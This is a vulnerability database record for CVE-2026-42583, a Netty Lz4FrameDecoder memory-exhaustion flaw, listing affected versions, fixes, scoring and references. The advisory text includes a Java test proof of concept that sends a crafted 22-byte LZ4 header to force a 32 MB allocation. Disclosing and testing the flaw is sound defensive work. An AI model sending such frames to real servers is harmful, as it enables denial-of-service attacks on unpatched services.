{"id":"CVE-2026-42583","aliases":["CVE-2026-42583","GHSA-mj4r-2hfc-f8p6"],"related":[],"kind":"vulnerability","state":"published","title":"Netty: Lz4FrameDecoder resource exhaustion","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","source":"cvelist"},{"lang":"en","text":"### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            AtomicReference<Throwable> serverError = new AtomicReference<>();\n            CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap server = new ServerBootstrap()\n                    .group(workerGroup)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer<SocketChannel>() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline()\n                                    .addLast(new Lz4FrameDecoder())\n                                    .addLast(new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverError.set(cause.getCause());\n                                            } else {\n                                                serverError.set(cause);\n                                            }\n                                            latch.countDown();\n                                        }\n                                    });\n                        }\n                    });\n\n            ChannelFuture serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new Bootstrap()\n                    .group(workerGroup)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInboundHandlerAdapter() {\n                        @Override\n                        public void channelActive(ChannelHandlerContext ctx) {\n                            ByteBuf buf = ctx.alloc().buffer(22, 22);\n                            buf.writeLong(MAGIC_NUMBER);\n                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            buf.writeIntLE(1);\n                            buf.writeIntLE(1 << 25);\n                            buf.writeIntLE(0);\n                            buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n                            ctx.fireChannelActive();\n                        }\n                    });\n\n            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n            assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n            clientChannel.channel().close();\n            serverChannel.channel().close();\n        } finally {\n            workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Netty es un framework de aplicación de red asíncrono y basado en eventos. Antes de 4.2.13.Final y 4.1.133.Final, Lz4FrameDecoder asigna un ByteBuf del tamaño decompressedLength (hasta 32 MB por bloque) antes de que se ejecute LZ4. Un par solo necesita una cabecera de 21 bytes más los bytes de carga útil compressedLength - 22 bytes si compressedLength == 1 - para forzar esa asignación. Esta vulnerabilidad se corrige en 4.2.13.Final y 4.1.133.Final.","source":"nvd"}],"published":"2026-05-07T00:20:35.000Z","modified":"2026-10-26T17:10:03.270Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-770"],"affected":[{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"},{"version":"< 4.1.133.Final","status":"affected"}],"vendor":"netty","product":"netty","source":"cvelist"},{"ranges":[{"version":"< 4.1.133.Final","status":"affected"}],"vendor":"io.netty","product":"netty-codec","source":"cvelist"},{"ranges":[{"version":"< 4.2.13.Final","status":"affected"}],"vendor":"io.netty","product":"netty-codec-compression","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.2.13.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec-compression","purl":"pkg:maven/io.netty/netty-codec-compression","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.133.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec","purl":"pkg:maven/io.netty/netty-codec","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.1.133"},{"status":"affected","introduced":"4.2.0","fixed":"4.2.13"}],"vendor":"netty","product":"netty","cpe":"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42583","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/netty/netty","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-14T15:40:38.960Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42583","url":"https://www.cve.org/CVERecord?id=CVE-2026-42583","licence":"CVE Terms of Use","modified":"2026-05-14T15:41:07.253Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mj4r-2hfc-f8p6","url":"https://github.com/advisories/GHSA-mj4r-2hfc-f8p6","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:06.526Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42583","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42583","licence":"Public domain","modified":"2026-10-26T17:10:03.270Z"}],"updatedAt":"2026-11-25T22:59:21.644Z","epss":{"score":0.00461,"percentile":0.41664,"date":"2026-12-01T12:00:22.000Z"}}